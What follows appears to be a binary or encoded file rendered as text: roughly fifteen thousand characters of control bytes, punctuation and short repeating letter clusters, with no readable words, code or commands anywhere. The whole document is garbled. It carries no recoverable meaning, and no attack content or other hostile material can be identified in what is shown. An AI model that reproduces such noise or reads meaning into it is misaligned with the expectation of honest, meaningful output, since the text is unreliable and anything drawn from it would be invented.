6a^E@ 	[ lw}`^	*;xue]| 3, :!aw];<;B6a]Q5#&p9cY@>#4	 3xueB5'.~SY|;3[%Us^@8,  ??x|Ax 5RMps,5x|Ax	#&.6xw`?< 4hre^<+ ?SYA5#'R]s]9	44hre^[>3W&49S]ps,5zw`?< 	4xue]|5	&0?RM>,vxw`?< 4hre^5#~SY|;3[9SYZW309RcE'0X!q6}ws]9#$!:/({s`_8	$4xue]|5&q4hUY,0#;aZ`9#7+rSY|5#xwVB?<,  ;yue]|5	#4"zws]>#
!:hdSs^C;#P;Tl|N8"[ qm:kc|'0 p}w`9V4 
8hl|L,0&?xwYQ9	4Y&:x|`O>37^7reY|3(=~C}5	#'RgQW !p<{N]x	#3{sZ@9W3#T|pE8V0	 ;y{MEQ#
!p	?~C}5	#4?k]U^#
!p
-|bF'0 pfNtR
07Y9xue]|5	#4"zws]>#
!:hdSs^C;#P8k\8VWzwxY8W,Y+$PsL>"h(RsO> S^09R`T2SP5kl{,4(RstL9W!.	v{|p^9W/:hcZ
70.m'Scg_7##U|dO8 Y!-#~C}5	#4&RYd^;'$3rlx	##U|dO8  5k`Ax	#$hre^[>3W&49S]pL 3p
$h]U] #++rSY|<,Z#
%PwU]>#
!:hdU|^A 7	#'4hreY|3,!q({9W$97rSY|5	##(zqpB?<, a5kcJZW0 {s`_7
~RYQ>,(X+rSY|5	#-#hcA5#4vue]|5
~RYQ 	$!qxue]|<R'$3kZdCW0 ql(RldZ9
	R]YQ?R"3RVF>#,	 
Ps^L0WY'#zgp5#3htL 7# 45RcEXR"3re^O <0X!.l({|`Y;</-#RMs! '7SrN>34'?$R`O0'$3reY|
(+xue]|5	#q5kgsX9#!/!~S}5	#46kl`9	V
 PlB

(!:vxqpA U[&6TgU]>#
!:hdSs^C;!p
6z`Ax	#3hZxZ3^7re^5#46kl`9	V.<Rg5#hrSY| 
4p
?SQ 	4Yq? zgp5#3$RYdL R-:hC>3S!RMUF
V8X .)kdV$:?8z`]]>#
!:hdRYdLR"3RVF>#,	 
Ps^L0WY'#ze^5#3htL 7# 45RcEXR"3re^O <0X!.l(`s9W$q#Us|YV$!qa%zw`O </4hreY|5 !.'PNAx	#4%hl|Z'p7SwQ 5#3rlxZ>,4 *RsVP 	4Yq0)hl|L8V/#RMY5#3rcxO 3$4hreY|<5R"3RYd><('S||ZR"4vue]|38X .PcC#!p

hZY7 ^7re^L>VYq? {|`Y;</-
zRsgF<'$3re^\<, <;Tl|N8'_7(xwsQ'# (xwsQ'# (xwsQ' 
~RYQ,0#;aZt <(\	 bqn#0&&hl|Z9+4hreY|3(=~C}5	#'RgQW !p<{N]x	#3RYd><( 
Ps^L0W(ags]>#
!:hdRldZ9
	/	eqdr' 
:hcZ!8:sh(RsVP #$Y'RgQT
/((kst;<,Yi8Sst 7'Pp	!x]Y5#3hZxZ3^7re^5#46kl`9	V.<Rg5#hrSY| 
4p
?SQ8#&
'hYJZ9+rSY|<,Z#
%PwU]>#
!:hdU|^A 7	#'4hreY|3,!q({9W$97rSY|5	#!.UlxC'0Y#45}`O </$UsZF9RB!#RZYYU, r;(gqtu!4=:3xue]|5	#-#hcA5#3htL 7#!<5RcEXR"3re^O <0X!.l({|`Y;</-#RMs'0Y#45}`N>34'?&RdE 3,Y
'hYJZVW (kZx@87  .9RY^># /a5hZZ83'&&SsdL,#x|`^	p%PsdB7#!Pc[8W(
?SP9V,i'{Mpt3&&SsdP9V,i'xww'ra%hl`^8#[:?~C}5	#6kctDR"3We}5	#!.UlxC#8 #~C}5P7rch8	,Y#a:xsdO9	[	 3(TC}5	#!p<?Us|Y'0Y#45}`?< 	4xue]|5	#q5kgsX8<!/!~S}5	#46kl`9	VizRtEV4!.a6zwY5#3hZxZ3^7reY|V$!RsVL93$hreY|5
~RYQ, q 'R`P <( p z`Ax	#4&RYd^;'$3rlx	##U|dO8  5k`Ax	#$hre^[>3W&49S]pL <0-#6Rd'0&?x|Ax	#|Pl`\;'&0?RM>,3TC}5	#'RgQVS\!p<{N]x	#3PckY 
4p
?SP <
!p
5zwVB?<, a5kl`PV
!-#UwQF5R"3reY|9	4Y&:xqpB?<, a5kl`PV
!-#UwU]9W0 $UsZF9RB 4:PMY5#3rcdE9V7'$3reY|70Y#45}`N>34'?!ddc!, cbcQV!p
6z`Ax	#3hZxZ3^7reY|V$!RsVL93$hreY|5
~RYQ, p#Ur\8# -
)kc\8V0 .; {|`Y;</. ?SYAE'0&?~C}5	#4&RYd^;'$3rlx	##U|dO8  5k`Ax	#$hre^[>3W&49S]pE8V$.4<kgU]9W0	xue]|5&q4hUY,0#;aZ`9#7+rSY|5#xwVB?<,  ;yue]|5	##U|dO8#&0?RM 	4Yq? {|`Y;</-~klx'(= 	`cQ![+abaJp' .$k||E<, {||9	*;?xstL#8 &zgY5#3hZxZ3^7reY|V$!RsVL93$hreY|5	&0?RM9<4!-3 x_|e1$<`ax{7 Z!q`6zshF8#7&{UwYT[8|R
O!8:sh({M{C30!q 'RZZ9!p
6zg_ #hcQ 	"RYB, 9xx]Y5#3rg`O
3$!.zzwY5#3rlVY;3	 
?ag`;#m"kl`\;'	hreY|5	#-igs'0:<"PcJZUR^7reY|70Y#45}`N>34'?!k|x@9' Y<kgp9VZ:3xue]|5	##U|dO8 !-'TgUX 	;vaY^B9# xXJC!*3?~C}5	#6kctDR"3We}5	#!.UlxC#8 #~C}5P7rch8	,Y#a:xs`8<#
'hYJZ'#-(agp[33(TC}5	#!p<?Us|Y'0Y#45}`?< 	4xue]|5	#q5kgsX8<!/!~S}5	#3$RYdL R
 PlB

$XzzwVb	![1catc7 <cgpQV&&SsgCV#	+rSY|5	#6kct 7#PizRtEV8& itO9	$\	 
6klFR"3reY]9W$h({s|O 3$Y+7ig_U)+r]sQ'# (xwsQ'# (xwsQ;3;8zgp[>W(& {shA'#!p<z`AQ 3#hZ@'0!/?~C}5	#3$UsZF9RB!#RZYYU,/gwsG!8:sh(hwQC,0. #}]VQ	^7(xwsQ'# (xwsQ'# (xw`F R+r]sQ'# (xwsQ'# (xwsQ#
	(agp9
44hreY|5Z#4<kgU];<0 vxw`;#m"kl`\;'	xue]Q'# (xwsQ'# (xwsQ'# $RtE R:;xue]Q'# (xwsQ'# (xwsQ'# ?k]U];7#8|psQ
0R 3(TC}'# (xwsQ'# (xwsQ'# (xwsQ'0$xpQ>,(X+r]sQ'# (xwsQ'# (xwsQ'# (xws]9W$h(x^FU8)+r]sQ'# (xwsQ'# (xwsQ'#hrS}5	#3{s|@8,4 -(agp^9
('??~C}5	#3kYO 3$# ?$Pl`Z87 !:$PN,;+r]sQ'# (xwsQ'# (xwsQ'# (xwpF &*va`Q8
4  3r]sQ'# (xwsQ'# (xwsQ'# (xwsQ'#4kcT#h(x_`! 4hxwsQ'# (xwsQ'# (xwsQ'# (xsdE9V4*0?RF8
3?ze}'# (xwsQ'# (xwsQ'# (xwsQ'# $Pl`Z82#rh(ags]>'*(xwsQ'# (xwsQ'# (xwsQ'# #S||Z5 (xwsQ'# (xwsQ'# (xwsQ'# (xw`F>#4:
=igs'+*mSl^L93!.'SrZ9V,!)R`O;3W	 
}zg_+^7reY|5	#9S|dB8
,vxwxQV#:l&hw{5#3re^5 (xwsQ'# (xwsQ'# (xwpF #'kwYQ?R" (xwsQ'# (xwsQ'# (xwsQ'# 
5RcEQRs4 dde' #/
xssX0Y<kgX'#:m?SlpE8V0	 <xw{E'0 q ~ScL7V 	`aJ`2/m,UwU_	! 9ksgY*/({s^ 3R*;?{NAx# (xwsQ'# (xwsQ'# (xwsQ'##'kws#8 #~C}'# (xwsQ'# (xwsQ'# (WgpZ8,,7(xwsQ'# (xwsQ'# (xwsQ'# ({||N8'#&isU>'*m?SlpE8V0	 <xw{E'0&;zgX7^7(xwsQ'# (xwsQ'# (xwsQ' *?$kZsF#8Z!.4kgU] 
# 
5RcEF  #xsd\;#Z7SwY5 (xwsQ'# (xwsQ'# (xws];74hreY|5P7(xwsQ'# (xwsQ'# (xs^[''#'kwYx# (xwsQ'# (xwsQ'# (xs^['0! 3(kZVO;<0	 
"RwEQ
 / :x]Y#4!q(kc|Y8 r :is_0'$3re^_9	4#9+rSY|5#xwVA W,  ;yue]|5	#
Ps^L0W&6TgUXT4$xw]Q(9!}]`3(3xue]|5	#< PcJZ'0&;xpQ,0#;aYhZ>#,	 3?x|Ax	#3rg`\8VX m5xpQ<(3 z`Ax	#3rch@9	4q? {s^ 3R({sA
0[	xue]|5	#3{s^ 3S,+xpQ .$k||E<, {|kF+)+rSY|5	#3$hE>3S!r,+xpQ#^7reY|5P7(xwsQ'# (xwsQ'# (xwsQ'#!p<xpQT&sgwp|09 ;:{|`^	*;(zwQC;3S a$kgU_'#  $hE>3S!:3:{MYQ$$xwUX	! 9ksgY*/({s^ 3R*;?~MQC)+r]sQ'# (xwsQ'# (xwsQ'#4"zw`[9'	-<6Pl`Z'0! /({||N8'	^<RgQ 3, :?$RtE0'$3reY|<5R"3rcxO 3$4hreY|<5R"3RYd><('S||ZR"4vue]|<0'$3$ks{Q
7 ;(csxr8#$!:?$ipfU0p
zRsgX7	^7PckY!#rd`TW#rhvagV]8W a'kwQF'; 0{rgU,<:<8|gVR0R!q<kc|	+rSY|#0 m%SC 3,Y	 
)dqb"!p<iZ@9W3/({rgU,<:<5RcJP8#[#l!igEQ"[8rfMVL93!5RMVR'#rd`TW, a&hl|ZUR4hreY] #+-#Ssd\>#0 	 
)dqb"!p<ix^9V73xue]Q'# (x||;<0# ?$ipfU0q hlxL <33(TC}'# (xwsQ'#q5kgs_Va|RMN7)7({s`_0W
PstO9V4Y	 <%RpwO0'	+(hZxZ3^7(xwsQ'# (xwp\<, gqkB'+_ 
$h]9V4Yq0'RZ|Z>'&
"~wQF  !.'PNAx# (xwsQ'#'RgQ9?;d]{ '0*hdRdV
!-#UwUX;V[!z`AQ
(+xue]Q'# (xwsQ' #xwxzT	]&~]s] #+-#Uq|Y<(	 {F@;0
X:3xxsxO 3$4hxwsQ'# (xwsQV$&hs; *$ks{B

,& hlxL <3q8~pk	^6kctDR" (xwsQ' P7(xwsQ'#4"zsdB9,0\	 
)dqb".4<kgVR7	'4hxwsQ'# (xwsQ8V(!p
'RZcY	[ q<yPstC #!*<xpcA0;4hxwsQ'# (xwsQ;#46zwxr8VWYm}a`F9W !q4PcC &
'hZB 3WY:"PcJZ8	$i$UcA
,  ?~C}'# (xwsQ'##'ksdO'(- qmkc20\!yx|`Z?,3! 'Pc_0'*(xwsQ'# (xsh@9	4q? {rgU,<:<hYEX7 !:$U]Yx	#3$ks{B
	0X  {|kFR" (xwsQ'# (klZF> '*(xwsQ'#$#S||Z;3;8xpQ#8!:zw`P![=+!kY^E 7 !UMQF7 ^7(xwsQ'# (xwp[8W( zw`P![=+!UsxEUR({|kF5 (xwsQ'# (xwsQ#0 m$UcA'0[ $kZsFR" (xwsQ'# (kY|E8W,	 
"RwY5 (xwsQ'# ~SZ|Z>'rd`TW#rh?~C}'# (xwp#4!qr]sQ'# (xwsQ#0?!a||\9	&m'SsdO>' 6S{^!, //!Uwp@9#4?Ssg_0Z#m$SQC;#&a6Tg_3,	 h7z`E@9V,#a]QFR"hrS^9V[ $kl{Y0'$4#hZ@'+')  |`b93-9U|Z9#das`F>  5RN\8VWYmaS}
#8!.h(SYtB 0R!q!xsZ>#
h!RsL>' qm5UcxB;<3Pq5z|`Y;</:;da|`^	#SsJA30#m!agQO  <Rp^V9h!|wQ
,0$ha|`]
0\!w}`]
YmS|
'[YlwUsc#[#lw}`]
Ymhl|L>V[/9Usc
,0(
'Ust_<, akp>#3B akpW0) R^x -~Uwp?< 0?ks`Z8 i#acwQ>	$&vdtE
 -~Uwp?< 0?ks`Z8 i#alsN,8 #agVN>34';das^C9,4Y
zRsg;#:xs^837P!(UYtE>37P:;das^C9,4Y
zRsg;#:xs^837P:}hcJ 0R*l(P|`B8,,?hcJ\;#$!:?$cJf$$r+!hV]UR l&{N;3W&	(U|^A 0S#
$kcQ8	$i%PstO9V4Y'S|dZ
7 * Pl|L <3ae|c#6RdUR:
)dqb"q0'RZ|Z>'*;!zgsCB7wUsc
,, %UwpC3S<TlpZVQ pPcC,8 #agVB?<,  ;(x^Ax# ?k]Zw"[8rfMV?< rhvagVB?<,  ;?kc|Y8#!q<kc| 334hkc|Y8# (izdtE
'[!
?S
#[&49S]p3Xh!RsVL93 xueBF 
(ae|cY'#{
7p7SwQF 3, :!RdE 3,Y	!~C} 3, :&aXp@9W0!.RcEV[&49S^W, %UpW0$ha|`]
 -~Uwp?< 
#T|cQ8	$i5RcJP;#[& }hcJ 0S
*:xwZZ8< Y'?$ipfU0p7SrY8W,Yrh?aMVE8V, 09RcX	
Y  5Rsd\;3$q0'RZY"[8rfMVL93#a5UwVR7	*,x^W0$ha|`]
 -~Uwp?< 
#T|cQ8	$i5RcJP8#[#l(UYtE>37P &}]sY 3S&3 {rgU,<:<5RcJP8#[#l!igYW( p	!~YZ83!%PctEV
!- {rgU,<:<5RcJP8#[#l!igYF'V  daw  V') kp;3W&	(U|^A 0SY0xs^837P!p<ip^9W/&.<Ucg'+ * kcA>,	ae|c! )RstL9	`!{NBY>#S!p#h^^8#,5zw`P![=+!RtEW !p!igYF'V  daw  VQ&	dx^Ax	&i8xpQ -~Uwp?< 
#T|cQ8	$i5RcJP	$}hcJ 0R9l&~C}3	45Rd'0agrAX9W$q09RcX7	'4hre^F ;aY|@8	Wp	 {rgU,<:<5RcJP;#[& <+}ws]U 9r
-{|N8"[ q<?S]VR'#rd`TW, a8hl|LUR 
)dqb"!p<ix^9V73?x|Ax	#|Pl`\;'rd`TV,5klcX7	'4hreY|3,!q(xXVF8	0&p;|`{7+_ 
$h]9V4Yq0'RZ|Z>'p7|^gN	^6kctDR"3rc|^9V7/c]
&}`L <0-#6Rd'X&{{MY#(=~C}5	#'RgQ9?;d]{ '0*hdRdV
!-#UwUX;V[!z`AQ
(+xue]|5	#q5kgs_	T[# ix^]Q#0 m5kl`r;#$!qzwVD8V	]&;?~Mp_9	4#9+rSY|5#xwx\9 [*yxw`]RB!q`Z^9
,& ?!hs;	+(hZxZ3^7re^5#3$ks{B
	!p

hZY0'$3rcd\;#Z) 5kcJZW3 .;k`L93.5k`8W Y#a:x|h^8,4;!a^E@8W Y#a:a]{5#4|Ps^E 7#
#Sgs'0*hdkYdV	3(TC}5	# ?RcY#'/({|h^8,4	vxsd^V4kcFR"3rcd\;#Z9 9R|`F8VV&.<Ucg'S|dZ  ;:zw`3Xhv{rgU,<:<5RcJP	$<+aMVL 3p
#kwQ *;d{M]>	$&:{NE@8W Y#a:a]Q5#4vue]|5q09xwQW, %UpXR"4vue]|34!q(kc|Y8#&i8~C}<S #ue]|34#`({|`B9 '$4#hZ@'+Qp
$aS}5	# kp;3W&	(U|^A 0S&;PlcQ>	$&v{N  .<Pc|D
7!:0$}Z|[0)/9Usc5 (xwsQ'# (xwsQ
,0) ?SZp>' Y'#ac|Y 3,.a{xs^837P!p<i|@>3WY'S|dZ
7 *;&xwQ#4!
zzw`P![=+!RtEV,&m{F
*;(hZZV ;?xwQVqa~SZcQ>#
m~ScxZ9 *6SVL
'[YlrSY|0&due]|0&&Ssg5# 5hxF9,3B7(xwsQ'# (xwpLV0 ;&}_p^ #0 5PsdL'0agrAX9W$q'RgX7	*;xue]Q'# (xwsQ' &m%Us^@8 !:0"zgp5 (xwsQ'# (xwsQ;3;*m5RcJP	$m}hcJ 7'P!ra$h]YQ? .a:Rd_83Yh(kZdCW0 ql zgp<0'*(xwsQ'# (xwsQ'# (PckY W3(k]A7W[ ~k`X'*(xwsQ'# (xwsQ'# (PckY W*3(k]AW[ ~k`X'*(xwsQ'# (xwsQ'# (PckY W:3(k]AW[ ~k`X'*(xwsQ'# (xwsQ' P7(xwsQ'# (xwp5#4"Uc\># *5UwZ#+rSY|5-"}ZsN
8 #xpQW, %UwQ5#3kwL W*m}hcJ 7#P	xue]Q'# (xwsQ'# (PckY8'#*$}Z|[
#	$}Z|[
#-'S|dZ R +rSY|5-"}Z|	S& ??~C}5	#$hreY| 
4p
?SQ;</	xue]|5	#.a6zsY 	:RkC 3 :U||TW0  ,+{C8#4p
 ~MAD;7	'$3reY| 'W*m#SsdB 3WY!r+!UsxEUR,?ig\;#4#q$xpQ33!q:kcJZ834&-{`_8"ri-PbCV
q,#kpAx	#hrSY|
'[p?R|c'$4?k]ZF9W,& ?$ks{F'; 
$h]8##:4xue]|34#`(x^J_9ZB
'hYJZ,
 a`wA'7q<S|p^ #0 .;v|]p\ 3!p'h^C R*xue]|5*?'kcA>,	ae|c! )hYtL 7	4xue]|5	#
&}`L 3p
$h]U]U 9r
-{|N8"[ #{FR"3rcd\;#Z) R^>#3&q4$UsU7 &4<k`X	[6}l`@9 !?(RE;339}^AX
!:aX`^	!97w}|A3VB6a^J_9V 4hreY|70Y. 5ixZ9#P 
$h]8#&
'hYJZ94hreY|<# #zw`F>#4h({s`_0W
%PwU]>#(!ra6klF7 ^7reY|3!p	 {sFZ?7'S|dZ7#P'hUY#Yh?~C}'# (xwsQ'# (xwsQ' *?'kcA>,	ae|c! )h8
33?ue]Q'# (xwsQ'# (xwsQ'# $S]s'0*hdkYdV
&}`N>34'?!dd{1,<gac'5xsQ(9!}]`3Xl!{MYFR"3reY]>	$&(agpY>#S!p#h^^8#,5zw`3X3xue]|5	#%Ps
Q q6a^JF8
 X& TlpZ
7#%Px@?' .;k`X>#(rh!x|h^8,4;&}]`3Xl&{N[8	(!+whgpY9	4(S\8##9i,xZ|' *
}hcJ 7V :/7zbE_
+'S|dZ+Qqdx]sC'
 TgU]U 9r
-{|N8"[ p:UwVR0Z.m&Rs  5SctE8 V':
:fMVCUSP	/9R^8#B*3(}]s_
'[ q6a^J_9V 4hreY|<R'$3re^ZV
 wPcA><3&48k`XV
q,&SUX#[q ?hAV	 3x{NQ
#!x|`9#7P-UsC,8 #agVs>3S:9SY|E;3,<$S|834& m5k]AW[ ~k`U	0&qm<St]'+^a%UcZ8
3!q:Rd_83Y	 3x{N
+B.4<kgpA<0) ?SZp>' Y'#al`Z?,3 .;k`[;3'S|dZ
7&i8}Z|N8'B akp>#3!p
zSsgV(!.
#R]8W#_-{x||@8# }^kV 4hreY|3	$ipfU0p7{Q
0Rp#Ssd\>'+rSY|5	#ae|c<+xpQW$Xz{NAx# (xwsQ'# (xwsQ'#ae|c:<+xpQ"[8rfMVA:
)dqb"!!i`]NR"3reY] #+-~klx'= 	`cQT[?/	 z]YQ</ *d_x'*$ipfU0p6{FR"3reY]8
4h({s`_0W
%PwUFR"3reY]9#$(agp\ 3	 
:UcTVV9xpA0'*(xwsQ'# (xwsQ'# (kc|Y8# %RY^A> W-"}YC9W4  4ach8	,Y#a:zw^9W3 &xwQ"[8rfMVA l(xXE_' -"}ZsL
8 #zlW,!.48Up9W  )l&}]`P![=+!Rp{X7V  a5RstC
#':
:UcTVVh(RYd\8W(!:3(dstX 7# ?SZp>' Y'#al`Z?,3 .;k`X9 /'S|dZ
7+* zs^C>'	rd`TW#rh?xwQV 4hxwsQ'# (xwsQ'# (xwpZV
 (SkQ, q5x^Ax# (xwsQ'# (xwsQ'## {rgU,<:<8|MVR V3r]sQ'# (xwsQ'# (xwsQ'#%Ps
Q#Q RYd[
7/ qm%Ss^\;R!p	 iw{_'Vae|c*<+xwQ+ ;(}]sY"[8rfMVA?xwQ	*<UpAQ,(&)/9h`_R" (xwsQ'# (xwsQ'# ?k]U]U 9r
-{sLUR $RstX </7(xwsQ'# (xwsQ'# (xwsQ' q09xw{Q
#'##k^\#[q ?hAW,Y	/&x]sC'0agrAX9 +:xwQ_'# l(zw`P![=+!RpX7	:xw{FW&0xwhX> Qqdx^Ax# (xwsQ'# (xwsQ'#ae|c:<+}g5#3rc^['0agrAX>,<+a`X9#!/!ze}5	#3{rgU,<:<8|]VR Rr	eqdr'#eQVrd`TW#rh:{Mp{	1S# 5|wpf8=	({MY"[8rfMVA	)8z`Ax	#3kcJL 5R"3reY|"[8rfMVAh({|p!4- >xqheTR ;:{rgU,<:<8|]VR ea^c'	 
)dqb"!!ig]L'	:/5|wQ5#3rcd\;#Z) &R^
+B)+rSY|5P7reY|;3;	$ipfU0p7{Q
0Rp~klx	*(xcdB9,0\	 
)dqb"!!igYF,'$3reY|#0 m7UcdO?7
(ae|c*<+z`Ax	#3PckY#0 m6klQ0RP'S||Z7 ^7reY|5	&4SsgQ
7  5k`Ax	#3rcd\;#Z9 hcxE 7 Z#
PpN ##SsJL9#$#m!a`wQV4 'ks`F8	P*%SstL9S4:x||?3&hc|D W(&m$}c|@8#[*6~`{	 *;xue]|5	#3$Ss^C 7#Pxue]|5	#4|Ps^E 7#
#Sgs'0*hdkYdV	3TC}5	#3rc^[''&4SsgF<'$3reY|5	# SMsX
,0*;xue]|5	#3rch@9	4q? {s^ 3R({sFZ?7#P*$UYtE>377reY|5	#4#hZ@'Q&?d{M];V4\*;w}`Y
^7reY|5	##Rd'0&;z`Ax	#3reY|,0& #al`O>37^7reY|5	#%Ps
Q&da|`O
^7reY|5	#
<PcZ R)+rSY|5	#4vue]|5	#3kc|Y8#
6xs|E<,<{M]8#l!x^XR"3reY|70#m#xpQ# .va`w4hreY|5	#9RYd^V4kcQ</,#Tgs
#&.<UcgF,'$3reY|5	## {|h^8,4hvxs8#7reY|5	#4#hZ@'Q&	dasY8
4 /9P`W0*;xue]|5	#3rcdE9V7'$3reY|5	#%Ps
QYl!}YE	(	0ScJL9#4#<hZ^9
/'S|dZ7	9/9Usc'$3reY|5P7reY|5	# SMsX
'[Y!)l!~C}5	#3We}5	#3kc|Y8# ahcxE 0V4hreY|5P<RgQ?R"3reY| 3, :!as`F>VQ)m	RZx@9QqdxwQC;,0 8kc|F3#6RMU] #+.6RYO'	*;w}`F>V4hreY|5P7reY|<5R"3rcd\;#Z) &R^V8!.hdash@9	R qm5UcxB;<3Pq	:RkC9 '&.<Ucg'(&6TbE_V3!q:Rp{C>	$&vUsZF9W&6Tg3X,$S|834& m5k]L>3(#	 z`FO <0X!.l(kYtE9V7^9lwUsd>#$(SYtB 0R!#RZYX,,Y' #agV;30Y#77|psZV
#< Up]N  ' ;dx^Ax# (xwsQ'# (xwpF i8U|YY"[8rfMVA	"{]sY"[8rfMVA7 vxwVE8V$.4<kgQF5R" (xwsQ'# (xwsQ'# #hZ@#
Y  5Rsd\;3$q0'RZY"[8rfMVA	+r]sQ'# (xwsQ'# #hZ@'+Qp
#T|`^9	4) &R]

#!x|`9#7P!p&Sc^,8 #agVp?#4&
#{N_R"3rcd\;#Z)/9Usc
'[Y!)l&~C}5	#$hreY| 3, :&aw3(lw}h@9	RB6}N_R" (xwsQ'# (PckY"[8rfMV?< rhvagVB?<,  ;?x|Ax# (xwsQ'# (xws] #+-~klx'(= 	`cQ7 .(axs9W$-5kl{QT
/((hCV$Y	~RdO's!}wpQ;#[&?xpQ2,/*??xqty' .4<kbA9	[ vxwV+4hxwsQ'# (xwsQ'#4"zw`]RB.hUY7	'*(xwsQ'# (xwsQ'# (kc|Y8# 9RYQ8VW&;PlcV3!q:RpwC>	$&viwxE8V$.4<kbE_V0p;kc
,-6}Zh^8,4
 PlC W[ ~k`F]8V,X :UwL W&;PlcY0
~RYQ 	$!qx{N9W  )mSt]#8 w}|A3VB ?SZp>'#q 'RW0 q 5bcA Y'#al`Z?,3 .;k`[
 -~Uwp?< ~hYF>' [ ~k`X
V)/9kYO80V 4hxwsQ'# (xwsQ<5R"3PckY'0agrAX9 'vagsX8#[?SsgX7 ^7reY|#8 (ags] #+. 9hc`q;3	 
)dqb"!!igY5#3kc|Y8#6}N9,(<hl|L
3Sl!}YZ83!%PctEV
!- {shF8#4q?SsgX7	9/9R|xZ
^7re^5#$#S||Z,'*(xwsQ'# SMpY>#S!p#h^^8#,5zw`]RB6S{Y7	^7(xwsQ<5R"%Ps
Q4}a]Q5#&p9cY@>#4	 3xueB5&m%Us^@8 p
?Sy <0Z p=zwYQ?R"<5SZZ30!*??~C}70 =i|@8	Wp
)Rp_	</&.
eZ^{.3zUBo	
,,7hNx` U7('|XkAWs(SsZWU(\<<UbBo	83}hY^X;U$>(0S||",qUVWVscY|C	
8#.a!b_|qV(UNpz	
*#(dZ^g!W[PrB~
0. ~b|e4<T_h]!,+#qcYFW	!0{~q^~
 q<?dXZ}?3+`tY!Y#,Rr;2(Zqhz|sx 3W|h#+)&Sah, .
eZV}?3Z8TY{O
(9g`s"//`xd	\/
=gXd{T(< erUN4?#rgr| T -4&|x	U,*`YF^U4,Tc|B<9#=bbh>1#9<
dlpG+X&(e^pzW8cXhr>V" f_Ve?1=)0"`xD2? s4=gZ^\80\q4P^a?,4##+|crtA>	,!-c_`4s `c^g;2< erxa3% `>U1a|bxp $> `c^g;2< erxa3% `>U1a|bxp8"s `c^g;2< erxa3% `y3/. &dVC ("!?~lB^T$Y%Rq!3-0}hNx`8U7(g``AWr36T|h\4cbcN4% `y9V+. c_`4>r?PNQ_R"
&Pc]W !-
)Rp_	</&.
eZ^{.3zUBo	
,,a=g`pY0/&94P`^F2Y&.6kV{Vp;8btn3%gcF]T,&q<dFX <* Sppz!4p4~a`d9 $/!g`{;	')UNpz+\#.6g^pzS. cUA8![:/5bYJy"'&|bxb4.( ksJ]	!(\)UX^C8,439<b|]"	mdFX 
Zr(SsJ|T,;~|q^~
s8fX|u?	+-.frx\	#s
R|BW"(_) RY{L %(i5g`s2/||`q,]	7~b|e8</cbxq	<,'q+|crtA;3$1,c_L+\#.6cYFW	!;SBp,:(&eakA9U,?cbxb  .r<Pp|	,]<RrBb3;(~kq|u>	,!-bqxVW:q?b`Vs< 0 |rBn#[?'<yb|u#8-.,'gdX	3&#:dcV_V_<Ua^
8 /%hY^|T0;!'cJL,',`^Vs3["< PXBo %mgsA9U4\#9<
dc}23 s4kF\V<.UY|B9W %s|crt@	,1-.dtF0(.&;~`p|U[qi5Pa^~8#S#q< f_Va83$1 .`tDT#s,Rr V")SsxF0>gs^;2 -(
|pdf	3(!PB_T(.4grhp >/5bc]82'aPaY"$(~lVW0cbxa	,$s3=bYFy"04UNpzU$ gYB|U(<seb`r
s=hbV` V, -&SXtX0#\r
?`c^d8XSsd~	<ba|e",/(icZZ	3(!PBl

[9kwA1[<#- `VD	0#$`tWs|qr8#P)+rS^ZV
 wPpw	4Y&qa6PMp8V[!9/9Ppw
#0&*%SstL9S qmkc
R" "SxB#W v{[9' qmUcxB;<3P !zs8# -<SwEX
 : Ps^L
 !-	:UYtE>37p#U|dO8  5k`FUV'$3wRp^8W*#m$x|p@9
3&`(}xF8[# -RsdO8"RQp8hc
#(9lrS^g8W(Y*wPcA><3&48k`X>#4]& ;(SYtB 0R!a6UwQQ>	$&v{NN/Z9l(as^C9,4Y
zRsg9W4  4x|h^8,4;da]Q5# a"SxB
R" "SxB#W v{[9' qmUcxB;<3P !zs8# -<SwEX	,: Ps^L
,!-#R]3X Ps^L
 !-	:UYtE>37p#U|dO8  5k`FUV'$3wRp^8W*=}c|@8	Wp	(xrFA <(/9Rp^8VQ-9aS}2,!-#R^]Q
#!x|`9#7Pp
#T|cX#W v{|Z9
8!*;(UYtE>37P::xw`PT4:(fMVe1S9)`a`s l&{NQ#[&7(as^C9,4Y
zRsgW0'	!xs^837Pp9RZcX,8 #agQL0/:;dxpJF8
 X& TlpZ
<,X.i?Uwp3Xh!a^X
R"/9kYO80VQ-dx^Ax*0?R|Z>'rd`TW#rh?zgp5#~SY|;3["zw`['0Y	xue]|5	&:vxqp[8W  *?$k]E_>+a6xqp[>3W&49SXZ?#& {hF8#4!i|@8
0 -
5{MY5#4?k]U]>^7reY|#8Z!.4kgU]>(.5k`kV0qa$kgU]>'	4hreY|1 q 9RgY,4hreY|<5R"4vue]|3	 
)dqb"!!igs
7#-8{MYQ?R"3hkY[Y 9hZsC9#  
&Pc]W !-
)RwY5#3$Sd R&p9clUY
 !./(}`B9'[ ! m8Sws_0agrAX9 +l&xpwV0&*a:UcJE +B)({]{FR" (xwsQ'# (RJZ <#3xue]|5q09xw{9,(<hl|L
3Sl$Sd#V -<5Sd'(!:'UlUQ<' !.8xsxA
 *3:x^E@9,(*xue]Q'# (xwsQ' X . ?SYAY[Y 9hZsC9# 	+rSY|<5R"4?k]U]U 9r
-{sNURh({x\9'+rSY|3,	 9UsAV(-<x]E]	$#ra%SC 3,Yp?~C}5	#a~Uws, s{zwxA <( aSls@	/!/(x]]U 9r
-{sOUR*&}]`P![=+!RpX7V d}`Z>[& <xp{'*?~C}'# (xwsQ'#!q #klsY7	^7re^ZV
 wR|xZ#,5acE0V pis_
 s{zwxA9 &?(WwpX9	4%}ZpE	)/9R|xZ
+^7(xwsQ'# (xwp8	 .+ x]8<#.:RsE_0'$3We}<R'$4#hZ@'Qq
?U^XR"<5Sh@8W0!*??~C}<5R"-:h`F8VVPcC/	xue]|;3;$ipfU0p7{F,'$3{swQ
7 !-'TgUx	#~SYtB 7+l(RsZAW4i#zwYE5#3&RsZAW8!-?S_ RB R|hZ9
, ql zgEx	#|RP>	4!q49S]{Q
0Vrihp,#sl<ue]|5	 !q"kc@ #7 hdxqpF8	qzwVL38qi9ksgX5R"3?~C}5q09x||Z9	 4ykgU]7	^7WgpZ8,,+rSY| <8  ?$ipfU0p7{FR"hrZx		 #Slp?7rd`TV'3(ze}3	45Rd'0'UcJV$&49S]YQ;-:h`F8VW0?R`L'p
?SX'V
#kYt8,0PcC7	'$3{rgU,<:<'{Q
7#"hldE>"[p
?S5# 5ke}5	rd`TV'vxwVb 3,# .9{NAx		 'kcA>,	ae|crh?xwk[#8X .PcCV4]#RMUX3,Y#a:{MsC'0agrAX7	?ue]|V$ a~RdOV8X . {t\># *;(}]s]U 9r
